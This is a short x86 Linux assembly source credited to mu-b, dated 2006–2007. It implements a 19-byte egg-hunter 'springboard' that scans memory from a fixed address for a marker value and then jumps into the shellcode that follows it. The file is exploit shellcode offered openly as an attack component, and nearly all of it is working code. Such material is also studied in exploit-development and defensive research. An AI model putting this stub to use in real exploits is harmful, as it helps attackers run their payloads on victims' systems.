;
; Copyright (c) 2007 by <mu-b@digit-labs.org>
;
; 19-byte 32-bit search&jump springboard - (x86-lnx)
; by mu-b - Oct 2006
;

%define __start_addr  0x08102030
%define __flag_val    0xdeadbeef

global birth
birth:

mov edx, __start_addr

life:
  ; search for our shellcode header
  mov eax, [edx]
  lea edx, [edx+4]
  cmp eax, __flag_val
  jnz life

death:
  ; execute our shellcode
  jmp edx
